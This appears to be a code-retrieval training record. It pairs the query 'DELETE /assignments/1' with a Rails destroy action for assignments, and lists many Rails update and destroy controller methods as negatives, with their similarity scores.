"def update\n respond_to do |format|\n if @techers_assignment.update(techers_assignment_params)\n format.html { redirect_to @techers_assignment, notice: 'Techers assignment was successfully updated.' }\n format.json { render :show, status: :ok, location: @techers_assignment }\n else\n format.html { render :edit }\n format.json { render json: @techers_assignment.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @team = Team.find(params[:id])\n @release = Release.find(params[:release_id]) unless params[:release_id].blank?\n\t @clusters = @team.clusters.find_all_by_release_id(@release.id) unless params[:release_id].blank?\n\t @team_assignments = @clusters.collect { |cluster| cluster.team_assignments.find(:all, :conditions => {:team_id => @team.id, :state_id => cluster.state_id}) }.flatten.uniq unless params[:release_id].blank?\n\t @clusters.each do |c|\n\t\t\tunless params[:cluster][c.id.to_s].nil?\n\t\t\t\tunless params[:cluster][c.id.to_s][:body].blank?\n\t\t\t\t\tc.notes << Note.create(:body => params[:cluster][c.id.to_s][:body], :created_by => current_user)\n\t\t\t\tend\n\t\t\tend \n\t\tend unless params[:release_id].blank?\n\t\n\t\n \[email protected] = params[:team] if admin?\n \t@team_assignments.each do |t| \n \t\tt.attributes = params[:team_assignment][t.id.to_s] if params[:team_assignment][t.id.to_s] \n \t\tt.valid?\n \tend unless params[:release_id].blank?\n respond_to do |format|\n if @team.valid? && (@team_assignments.nil? || @team_assignments.all?(&:valid?))\n \t\[email protected]! if admin?\n \t\t@team_assignments.each do |ta|\n \t\t\tta.updated_by = current_user\n \t\t\tta.auto_promote = true\n \t\t\tta.save!\n \t\tend unless params[:release_id].blank?\n flash[:notice] = 'Team was successfully updated.'\n format.html { redirect_to @release.nil? ? teams_path : release_team_path(@release,@team) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @team.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update!(params)\n res = @client.put(path, nil, params, \"Content-Type\" => \"application/json\")\n @attributes = res.json if res.status == 201\n res\n end",
"def update\n @grade = Grade.find(params[:id])\n if @grade.update_attributes(params[:grade])\n respond_to do |format|\n format.html { redirect_to \"/assignments/#{@grade.assignment_id}/show\" } unless @grade.graded\n format.json { head :ok }\n end\n end\n end",
"def update\n respond_to do |format|\n if @assignment_employee.update(assignment_employee_params)\n format.html { redirect_to @assignment_employee, notice: 'Assignment employee was successfully updated.' }\n format.json { render :show, status: :ok, location: @assignment_employee }\n else\n format.html { render :edit }\n format.json { render json: @assignment_employee.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @instructor1 = Instructor1.find(params[:id])\n\n respond_to do |format|\n if @instructor1.update_attributes(params[:instructor1])\n format.html { redirect_to @instructor1, notice: 'Instructor1 was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @instructor1.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @assigned_project = AssignedProject.find(params[:id])\n\n respond_to do |format|\n if @assigned_project.update_attributes(params[:assigned_project])\n format.html { redirect_to @assigned_project, notice: 'Assigned project was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @assigned_project.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @roles_assignment.update(roles_assignment_params)\n format.html { redirect_to @roles_assignment, notice: 'Roles assignment was successfully updated.' }\n format.json { render :show, status: :ok, location: @roles_assignment }\n else\n format.html { render :edit }\n format.json { render json: @roles_assignment.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update!(**args)\n @issue_assignment = args[:issue_assignment] if args.key?(:issue_assignment)\n end",
"def update!(**args)\n @issue_assignment = args[:issue_assignment] if args.key?(:issue_assignment)\n end",
"def update\n respond_to do |format|\n if @assign.update(assign_params)\n format.html { redirect_to @assign, notice: 'Assign was successfully updated.' }\n format.json { render :show, status: :ok, location: @assign }\n else\n format.html { render :edit }\n format.json { render json: @assign.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @case_assignment.update(case_assignment_params)\n format.html { redirect_to @case_assignment, notice: 'Case assignment was successfully updated.' }\n format.json { render :show, status: :ok, location: @case_assignment }\n else\n format.html { render :edit }\n format.json { render json: @case_assignment.errors, status: :unprocessable_entity }\n end\n end\n end",
"def test_legal_edit_assignment\n @assignment = Assignment.first\n id = Assignment.first.id\n number_of_assignment = Assignment.count\n questionnaire_id = Questionnaire.first.id\n post :update, :id => id, :assignment=> { :name => 'updatedAssignment9',\n :review_questionnaire_id => questionnaire_id,\n :review_of_review_questionnaire_id => questionnaire_id,\n :author_feedback_questionnaire_id => questionnaire_id\n }\n\n assert_equal flash[:notice], 'Assignment was successfully updated.'\n\n assert_response :redirect\n assert_equal Assignment.count, number_of_assignment\n assert Assignment.find(:all, :conditions => \"name = 'updatedAssignment9'\")\n end",
"def update\n @assignmentstatus = Assignmentstatus.find(params[:id])\n\n respond_to do |format|\n if @assignmentstatus.update_attributes(params[:assignmentstatus])\n flash[:notice] = 'Assignment status was successfully updated.'\n format.html { redirect_to(@assignmentstatus) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @assignmentstatus.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n Log.new({user: current_user.user, \n subject: \"user:\"[email protected],\n operation: \"modified access\",\n object: \"table:\"[email protected],\n parameters: \"canGrant:\"[email protected]_grant.to_s\n }).save\n\n respond_to do |format|\n if @assigned.update(assigned_params)\n format.html { redirect_to @assigned, notice: 'Assigned was successfully updated.' }\n format.json { render :show, status: :ok, location: @assigned }\n else\n format.html { render :edit }\n format.json { render json: @assigned.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @contact_assignment.update(contact_assignment_params)\n format.html { redirect_to contacts_url, notice: 'Contact assignment was successfully updated.' }\n format.json { render :show, status: :ok, location: @contact_assignment }\n else\n format.html { render :edit }\n format.json { render json: @contact_assignment.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @assessment.update(assessment_params)\n format.html { redirect_to [@course, @assessment], notice: 'Attempt was successfully updated.' }\n format.json { render :show, status: :ok, location: @assessment }\n else\n format.html { render :edit }\n format.json { render json: @assessment.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @assessment.update(assessment_params)\n format.html { redirect_to [@course, @assessment], notice: 'Attempt was successfully updated.' }\n format.json { render :show, status: :ok, location: @assessment }\n else\n format.html { render :edit }\n format.json { render json: @assessment.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @feat_assignment.update(feat_assignment_params)\n format.html { redirect_to character_feat_assignments_path(@character), notice: 'Feat assignment was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @feat_assignment.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @activity_participant_assignment.update(activity_participant_assignment_params)\n format.html { redirect_to @activity_participant_assignment, notice: 'Activity participant assignment was successfully updated.' }\n format.json { render :show, status: :ok, location: @activity_participant_assignment }\n else\n format.html { render :edit }\n format.json { render json: @activity_participant_assignment.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @assignment = Assignment.find(params[:assignment_id])\n @essay = Essay.find(params[:id])\n \n respond_to do |format|\n if @essay.update_attributes(params[:essay])\n format.html { redirect_to assignment_essay_url(@essay.assignment_id, @essay.id), notice: 'Essay was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @essay.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n authorize @assignment\n if not @assignment.assignment_status.close_state then\n @assignment.close_date = nil\n end\n respond_to do |format|\n if @assignment.update(assignment_params)\n format.html { redirect_to @assignment, notice: t(:updated, :model => Assignment.model_name.human) }\n format.json { render :show, status: :ok, location: @assignment }\n else\n format.html { render :edit }\n format.json { render json: @assignment.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @event_assignment.update(event_assignment_params)\n format.html { redirect_to @event_assignment, notice: 'Event assignment was successfully updated.' }\n format.json { render :show, status: :ok, location: @event_assignment }\n else\n format.html { render :edit }\n format.json { render json: @event_assignment.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @paragraph_assignment.update(paragraph_assignment_params)\n format.html { redirect_to @paragraph_assignment, notice: 'Paragraph assignment was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @paragraph_assignment.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n course = Course.includes(:professors).find(params[:id])\n course.update!(course_params)\n \n course.professor_ids=(params[:professors])\n\n render json: course.to_json(include: :professors)\n end",
"def update\n if params[:assignment][:url] # The user uploaded a file\n if params[:assignment][:user_id] == '-1'\n redirect_to :back, flash: {error: \"Please select the team you are submitting for.\"}\n return\n end\n @user = User.find(params[:assignment][:user_id])\n @assignment = Assignment.find(params[:assignment][:assignment_id])\n @submission = Submission.new(params['assignment'])\n if @submission.url.class.name != 'String'\n puts 'Error, wonky url: ' + @submission.url.inspect + ' for ' + @user.email\n redirect_to :back, flash: {error: 'Submission Failed. Try Again. Be Patient.'}\n return\n else\n old_submissions = @assignment.submissions.\n select{|s| s.user.nil? or s.user.submitting_id(@submission) == params[:assignment][:user_id].to_i }\n end\n respond_to do |format|\n if @submission.save\n old_submissions.each{|s| s.destroy }\n format.html { redirect_to :back }\n format.json { head :no_content }\n else\n format.html { redirect_to :back, flash: {error: combine(@submission.errors.messages[:url])} }\n format.json { render json: @assignment.errors, status: :unprocessable_entity }\n end\n end\n elsif current_user.instructor?(@course)\n @assignment = Assignment.find(params[:id])\n if params[:commit] == 'End All Activity'\n @assignment.submissions.each do |s|\n s.instructor_approved = true\n s.save!\n end\n end\n params['assignment']['submission_due_time'] = params['assignment']['submission_due_time(4i)'] + ':' + params['assignment']['submission_due_time(5i)']\n params['assignment'].delete 'submission_due_time(1i)'\n params['assignment'].delete 'submission_due_time(5i)'\n params['assignment'].delete 'submission_due_time(2i)'\n params['assignment'].delete 'submission_due_time(3i)'\n params['assignment'].delete 'submission_due_time(4i)'\n params['assignment'].delete 'submission_due_time(5i)'\n\n params['assignment']['review_due_time'] = params['assignment']['review_due_time(4i)'] + ':' + params['assignment']['review_due_time(5i)']\n params['assignment'].delete 'review_due_time(1i)'\n params['assignment'].delete 'review_due_time(5i)'\n params['assignment'].delete 'review_due_time(2i)'\n params['assignment'].delete 'review_due_time(3i)'\n params['assignment'].delete 'review_due_time(4i)'\n params['assignment'].delete 'review_due_time(5i)'\n\n @assignment = Assignment.find(params[:id])\n @reviewing_tasks = @assignment.evaluations.forUser(current_user).sort_by{|e| e.created_at}\n @URL = course_assignment_path(@course, @assignment)\n\n unless @assignment.team\n @assignment.memberships.each{|m| m.destroy }\n end\n\n if params['publish']\n params[:assignment][:draft] = @assignment.draft ? '0' : '1'\n end\n\n respond_to do |format|\n if @assignment.update_attributes(params[:assignment])\n format.html { render action: \"edit\" }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @assignment.errors, status: :unprocessable_entity }\n end\n end\n end\n end",
"def update\n @solution = @idea.solutions.find(params[:id])\n\n if @solution.update_attributes(params[:solution])\n render json: { text: \"success\" }\n else\n render json: { text: \"fail\"}\n end\n end",
"def update\n @editability = Editability.find(params[:id])\n\n respond_to do |format|\n if @editability.update_attributes(params[:editability])\n format.html { redirect_to @editability, notice: 'Test was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @editability.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @assignment = Assignment.find(params[:id])\n @assignment.update_attributes(params[:assignment])\n flash[:notice] = \"Assisnment succsessfully updated.\"\n redirect_to edit_course_path(@course)\n end",
"def update\n @request.assign_json_attributes(params) if @request.resume?\n respond_to do |format|\n if @request.update(request_params)\n format.html { redirect_to @request, notice: 'Request was successfully updated.' }\n format.json { render :show, status: :ok, location: @request }\n else\n format.html { render :edit }\n format.json { render json: @request.errors, status: :unprocessable_entity }\n end\n end\n end",
"def patch!\n request! :patch\n end",
"def update\n respond_to do |format|\n if @assigned_owner.update(assigned_owner_params)\n format.html { redirect_to @assigned_owner, notice: 'Assigned owner was successfully updated.' }\n format.json { render :show, status: :ok, location: @assigned_owner }\n else\n format.html { render :edit }\n format.json { render json: @assigned_owner.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update_assignment_override(course_id,assignment_id,id,opts={})\n query_param_keys = [\n \n ]\n\n form_param_keys = [\n :assignment_override__student_ids__,\n :assignment_override__title__,\n :assignment_override__due_at__,\n :assignment_override__unlock_at__,\n :assignment_override__lock_at__,\n \n ]\n\n # verify existence of params\n raise \"course_id is required\" if course_id.nil?\n raise \"assignment_id is required\" if assignment_id.nil?\n raise \"id is required\" if id.nil?\n # set default values and merge with input\n options = underscored_merge_opts(opts,\n :course_id => course_id,\n :assignment_id => assignment_id,\n :id => id\n )\n\n # resource path\n path = path_replace(\"/v1/courses/{course_id}/assignments/{assignment_id}/overrides/{id}\",\n :course_id => course_id,\n :assignment_id => assignment_id,\n :id => id)\n headers = nil\n form_params = select_params(options, form_param_keys)\n query_params = select_params(options, query_param_keys)\n if opts[:next_page]\n pagination_params = page_params_load(:put, path)\n query_params.merge! pagination_params if pagination_params\n end\n response = mixed_request(:put, path, query_params, form_params, headers)\n page_params_store(:put, path)\n AssignmentOverride.new(response)\n end",
"def update\n # @person = Person.find(params[:id])\n # @person.pct_complete = @person.requirement_progress\n respond_to do |format|\n if @person.update_attributes(params[:person])\n format.html { redirect_to @person, :notice => 'Person was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render :action => \"edit\" }\n format.json { render :json => @person.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n goal = Goal.find params[:id]\n if goal.update(goal_params)\n render json: goal, status: 200\n else\n render json: goal.errors.full_messages, status: 422\n end\n end",
"def update\n @instructor = Instructor.find(params[:id])\n\n respond_to do |format|\n if @instructor.update_attributes(params[:instructor])\n format.html { redirect_to @instructor, notice: 'Instructor was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @instructor.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n begin\n ## Can't review an already reviewed request.\n if @permission_request.reviewed\n respond_with_error 'This request has already been reviewed.', \n permission_request_path(@permission_request)\n else\n granted = (params.require(:permission_request).require(:action) == 'grant')\n \n ## Update the request with the review.\n @permission_request.update!({\n reviewed: true,\n granted: granted,\n reviewed_by: current_user,\n reviewed_on: Time.now\n })\n \n ## Update the user's permission level.\n if granted\n @permission_request.user.update!({\n permission_level: @permission_request.level_requested,\n permission_level_granted_on: @permission_request.reviewed_on,\n permission_level_granted_by: current_user\n })\n @user = @permission_request.user\n @user.send_permissions_changed_email\n end\n \n respond_to do |format|\n format.json { render json: {\n success: true, \n permission_request: {\n granted: @permission_request.granted,\n reviewed_by_username: current_user.username,\n reviewed_on: @permission_request.reviewed_on\n }\n } }\n format.html { redirect_to path }\n end\n end\n rescue => e \n respond_with_error 'There was a problem saving changes to this request.', \n permission_request_path(@permission_request)\n end\n end",
"def update!(**args)\n @assignment = args[:assignment] if args.key?(:assignment)\n @mentioned_users = args[:mentioned_users] if args.key?(:mentioned_users)\n @post = args[:post] if args.key?(:post)\n @suggestion = args[:suggestion] if args.key?(:suggestion)\n end",
"def update\n authorize @attorney\n respond_to do |format|\n if @attorney.update(attorney_params)\n format.html { redirect_to @attorney, success: I18n.t('notices.updated', entity: Attorney.model_name.human, title: @attorney.name) }\n format.json { render :show, status: :ok, location: @attorney }\n else\n format.html { render :edit }\n format.json { render json: @attorney.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update # PATCH\n raise NotImplementedError\n end",
"def update\n respond_to do |format|\n if @group_assignment.update(group_assignment_params)\n format.html { redirect_to @group_assignment, notice: 'Group assignment was successfully updated.' }\n format.json { render :show, status: :ok, location: @group_assignment }\n else\n format.html { render :edit }\n format.json { render json: @group_assignment.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @instructor = Instructor.find(params[:id])\n\n respond_to do |format|\n if @instructor.update_attributes(params[:instructor])\n format.html { redirect_to @instructor, :notice => 'Instructor was successfully updated.' }\n format.json { head :ok }\n else\n @aircraft_types = AircraftType.by_name.collect{|at| [at.name, at.id]}\n\n format.html { render :action => \"edit\" }\n format.json { render :json => @instructor.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n @faculty.update(faculty_params)\n head :no_content\n end",
"def update\n respond_to do |format|\n if @requirement.update_attributes(requirement_params)\n format.html { redirect_to action: :index, notice: 'Update Success.' }\n format.json { render action: :index, status: :accepted }\n else\n format.html { render action: :edit }\n format.json { render json: @requirement.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n authorize @exam\n respond_to do |format|\n if @exam.update(exam_params)\n format.html { redirect_to @exam, notice: 'Exam was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n end\n end\n end",
"def update\n respond_to do |format|\n if @now_assign.update(now_assign_params)\n format.html { redirect_to @now_assign, notice: 'Now assign was successfully updated.' }\n format.json { render :show, status: :ok, location: @now_assign }\n else\n format.html { render :edit }\n format.json { render json: @now_assign.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @group_assignment.update(group_assignment_params)\n format.html { redirect_to @group_assignment, notice: \"Group assignment was successfully updated.\" }\n format.json { render :show, status: :ok, location: @group_assignment }\n else\n format.html { render :edit, status: :unprocessable_entity }\n format.json { render json: @group_assignment.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n authorize @objective.strategy, :update_objective?\n respond_to do |format|\n if @objective.update(objective_params)\n format.html { redirect_to @objective}\n format.json { render :show, status: :ok, location: @objective }\n else\n format.html { render :edit }\n format.json { render json: @objective.errors, status: :unprocessable_entity }\n end\n end\n end",
"def edit_task\n puts 'edit task method'\n @task = Task.find_by(id: params[:id])\n @task.update(name: params[:new_name])\n\n render :json => @task.as_json(:only => [:id, :name])\n end",
"def patch\n headers = {\"If-Match\" => @version}\n response = @context.request :patch, \"#{@path}/#{@id}\", @data.to_json, headers\n @version += 1\n response\n # 'X-HTTP-Method-Override' => 'PATCH'\n end",
"def update!(**args)\n @assignee_mode = args[:assignee_mode] if args.key?(:assignee_mode)\n @modify_individual_students_options = args[:modify_individual_students_options] if args.key?(:modify_individual_students_options)\n end",
"def update!(**args)\n @assignee_mode = args[:assignee_mode] if args.key?(:assignee_mode)\n @modify_individual_students_options = args[:modify_individual_students_options] if args.key?(:modify_individual_students_options)\n end",
"def update\n @lab = Lab.find(params[:id])\n\n respond_to do |format|\n if @lab.update_attributes(params[:lab])\n format.html { redirect_to @lab, notice: 'Lab was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @lab.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @task_completion = TaskCompletion.find(params[:id])\n\n respond_to do |format|\n if @task_completion.update_attributes(params[:task_completion])\n format.html { redirect_to @task_completion, notice: 'Task completion was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @task_completion.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @api_v1_exercise.update(api_v1_exercise_params)\n format.html { redirect_to @api_v1_exercise, notice: 'Exercise was successfully updated.' }\n format.json { render :show, status: :ok, location: @api_v1_exercise }\n else\n format.html { render :edit }\n format.json { render json: @api_v1_exercise.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @requirement.update(requirement_params)\n format.html { redirect_to @requirement, notice: 'Requirement was successfully updated.' }\n format.json { render :show, status: :ok, location: @requirement }\n else\n format.html { render :edit }\n format.json { render json: @requirement.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @assigner.update(assigner_params)\n format.html { redirect_to @assigner, notice: 'Assigner was successfully updated.' }\n format.json { render :show, status: :ok, location: @assigner }\n else\n format.html { render :edit }\n format.json { render json: @assigner.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @indexer_task = IndexerTask.find(params[:id])\n\n respond_to do |format|\n if @indexer_task.update_attributes(params[:indexer_task])\n format.html { redirect_to @indexer_task, notice: 'Indexer task was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @indexer_task.errors, status: :unprocessable_entity }\n end\n end\n end"
] |
[
"0.6841301",
"0.6816695",
"0.677991",
"0.677991",
"0.6764407",
"0.67518985",
"0.6637946",
"0.65174943",
"0.65174943",
"0.65174943",
"0.65174943",
"0.65174943",
"0.6503887",
"0.64987713",
"0.6464981",
"0.64307606",
"0.63736784",
"0.635448",
"0.6343713",
"0.6337919",
"0.6336949",
"0.6303375",
"0.62995917",
"0.6295862",
"0.62867224",
"0.6284667",
"0.6276966",
"0.6254709",
"0.62522423",
"0.62375176",
"0.6222338",
"0.6208249",
"0.61910886",
"0.6173532",
"0.61554265",
"0.61484015",
"0.60904074",
"0.6037222",
"0.6037222",
"0.6037222",
"0.6035535",
"0.6012273",
"0.5974865",
"0.596976",
"0.5967051",
"0.5937477",
"0.59089524",
"0.58853674",
"0.588339",
"0.58700675",
"0.58658767",
"0.58658767",
"0.58602875",
"0.5846324",
"0.5845151",
"0.5828466",
"0.5796189",
"0.5787982",
"0.57819575",
"0.57819575",
"0.5780169",
"0.57797325",
"0.5774158",
"0.5768781",
"0.57677686",
"0.5766735",
"0.575566",
"0.57535386",
"0.5746683",
"0.574482",
"0.57203037",
"0.57182676",
"0.5715877",
"0.57156116",
"0.5709745",
"0.57017356",
"0.5700766",
"0.56988287",
"0.5685909",
"0.56709564",
"0.56680083",
"0.5654987",
"0.5648223",
"0.56365246",
"0.56354463",
"0.5633763",
"0.563272",
"0.5623487",
"0.56175286",
"0.56114554",
"0.56074286",
"0.5605268",
"0.5594331",
"0.5594331",
"0.5593805",
"0.55922335",
"0.5592067",
"0.55869406",
"0.5586447",
"0.55846274"
] |
0.66337556
|
7
|
DELETE /assignments/1 DELETE /assignments/1.json
|
def destroy
@course = @assignment.course
@assignment.destroy
respond_to do |format|
format.html { redirect_to course_assignments_url(@course) }
format.json { head :no_content }
end
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def destroy\n @assignment = Assignment.find(params[:id])\n @assignment.destroy\n\n respond_to do |format|\n format.html { redirect_to assignments_url }\n format.json { head :ok }\n end\n end",
"def destroy\n @assignment = Assignment.find(params[:id])\n @assignment.destroy\n\n respond_to do |format|\n format.html { redirect_to assignments_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @assignment = Assignment.find(params[:id])\n @assignment.destroy\n\n respond_to do |format|\n format.html { redirect_to assignments_url }\n format.json { head :no_content }\n end\n end",
"def deleteAssignment\n @assignment = Assignment.find(params[:assignment_id])\n @assignment.destroy\n respond_to do |format|\n format.html {redirect_to add_objective_to_student_path, notice: 'Assignment was successfully destroyed.' }\n format.json { head :no_content }\n end\n\n \n end",
"def destroy\n @assignment = @user.assignments.find(params[:id])\n @assignment.destroy\n\n respond_to do |format|\n format.html { redirect_to user_assignments_path(@user) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @assignment.destroy\n\n respond_to do |format|\n format.html { redirect_to assignments_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @assignment.destroy\n respond_to do |format|\n format.html { redirect_to assignments_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @assignment.destroy\n respond_to do |format|\n format.html { redirect_to assignments_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n authorize! :destroy, @assignment\n @assignment.destroy\n respond_to do |format|\n format.html { redirect_to project_task_assignments_path(@project,@task) }\n format.json { head :no_content }\n end\n end",
"def destroy\n @patient_assignment = PatientAssignment.find(params[:id])\n @patient_assignment.destroy\n\n respond_to do |format|\n format.html { redirect_to patient_assignments_url }\n format.json { head :ok }\n end\n end",
"def destroy\n @assignment_status = AssignmentStatus.find(params[:id])\n @assignment_status.destroy\n\n respond_to do |format|\n format.html { redirect_to assignment_statuses_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @assignment = Assignment.find(params[:id])\n @assignment.destroy\n\n respond_to do |format|\n format.html { redirect_to course_path(@course) }\n format.json { head :no_content }\n end\n end",
"def destroy\n @assignment = Assignment.find(params[:id])\n @assignment.destroy\n Outline.where(\"content_id = ? AND content_type = ?\", @assignment.id, 'Assignment').first.destroy\n\n respond_to do |format|\n format.html { redirect_to edit_course_path(@course), notice: 'Assignment was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @assignment = Assignment.find(params[:id])\n @assignment.destroy\n redirect_to(assignments_url)\n end",
"def destroy\n @assignment_special_assignment = Assignment::SpecialAssignment.find(params[:id])\n @assignment_special_assignment.destroy\n\n respond_to do |format|\n format.html { redirect_to assignment_special_assignments_url }\n format.json { head :ok }\n end\n end",
"def delete\n CONNECTION.execute(\"DELETE FROM assignments WHERE id = #{self.id};\")\n end",
"def delete\n # Delete the assignment\n Relationship.delete(params[:id])\n\n @active=\"assignments\"\n redirect_to \"/manage\"\n end",
"def destroy\n @assignment.destroy\n respond_to do |format|\n format.html { redirect_to assignments_url, notice: 'Assignment was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @assignment.destroy\n respond_to do |format|\n format.html { redirect_to assignments_url, notice: 'Assignment was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @assignment.destroy\n respond_to do |format|\n format.html { redirect_to assignments_url, notice: 'Assignment was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @assignment.destroy\n respond_to do |format|\n format.html { redirect_to assignments_url, notice: 'Assignment was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @assignment.destroy\n respond_to do |format|\n format.html { redirect_to assignments_url, notice: 'Assignment was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @assignment.destroy\n respond_to do |format|\n format.html { redirect_to assignments_url, notice: 'Assignment was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @assignment_standard_assignment = Assignment::StandardAssignment.find(params[:id])\n @assignment_standard_assignment.destroy\n\n respond_to do |format|\n format.html { redirect_to assignment_standard_assignments_url }\n format.json { head :ok }\n end\n end",
"def destroy\n @task_assignment = TaskAssignment.find(params[:id])\n @task_assignment.destroy\n \n respond_to do |format|\n format.html { redirect_to(task_assignments_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @assignment = Assignment.find(params[:id])\n @assignment.destroy\n\n respond_to do |format|\n format.html { redirect_to(event_assignments_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @vehicle_assignment.destroy\n respond_to do |format|\n format.html { redirect_to vehicle_assignments_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n authorize @assignment\n @assignment.destroy\n respond_to do |format|\n format.html { redirect_to assignments_path, notice: t(:destroyed, :model => Assignment.model_name.human) }\n format.json { head :no_content }\n end\n end",
"def destroy\n @assigned = Assigned.find(params[:id])\n @assigned.destroy\n\n respond_to do |format|\n format.html { redirect_to assigneds_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @assignment.destroy\n respond_to do |format|\n format.html {redirect_to assignments_url, notice: 'Assignment was successfully destroyed.'}\n format.json {head :no_content}\n end\n end",
"def destroy\n @task_assignment.destroy\n respond_to do |format|\n format.html { redirect_to task_assignments_url, notice: 'Task assignment was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @assignment = Assignment.find(params[:id])\n @assignment.destroy\n \n respond_to do |format|\n format.html { redirect_to assignments_url }\n format.js { render :nothing => true }\n format.json { head :no_content }\n end\n end",
"def destroy\n @assignment = Assignment.find(params[:id])\n @assignment.destroy\n\n respond_to do |format|\n format.html { redirect_to(project_task_path(@assignment.task.project, @assignment.task)) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @course.assignments.each(&:destroy)\n @course.destroy\n respond_to do |format|\n format.html { redirect_to courses_url, notice: 'Course was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @ingredient_assignment = IngredientAssignment.find(params[:id])\n @ingredient_assignment.destroy\n\n respond_to do |format|\n format.html { redirect_to ingredient_assignments_url }\n format.json { head :ok }\n end\n end",
"def destroy\n @exceller_assignment.destroy\n respond_to do |format|\n format.html { redirect_to exceller_assignments_url, notice: 'Exceller assignment was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @assignment = @answer.assignment\n @answer.destroy\n respond_to do |format|\n format.html { redirect_to @assignment }\n format.json { head :no_content }\n end\n end",
"def destroy\n @paragraph_assignment.destroy\n respond_to do |format|\n format.html { redirect_to paragraph_assignments_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n if current_user.id != @assignment.creator_id\n redirect_to request.env['HTTP_REFERER'] || :root, notice: 'You are not authorized to delete assignments'\n return\n end\n\n @assignment.destroy\n respond_to do |format|\n format.html { redirect_to :root, notice: 'Assignment was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @assignment = Assignment.find(params[:id])\n @section = @assignment.section\n @assignment.destroy\n\n respond_to do |format|\n format.html { redirect_to section_path(@section) }\n format.json { head :no_content }\n end\n end",
"def destroy\n if @assignment.destroy\n render json: '', status: :no_content\n else\n render json: format_errors(@assignment.errors),\n status: :unprocessable_entity\n end\n end",
"def destroy\n @user_assignment.destroy\n respond_to do |format|\n format.html { redirect_to user_assignments_url, notice: 'User assignment was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
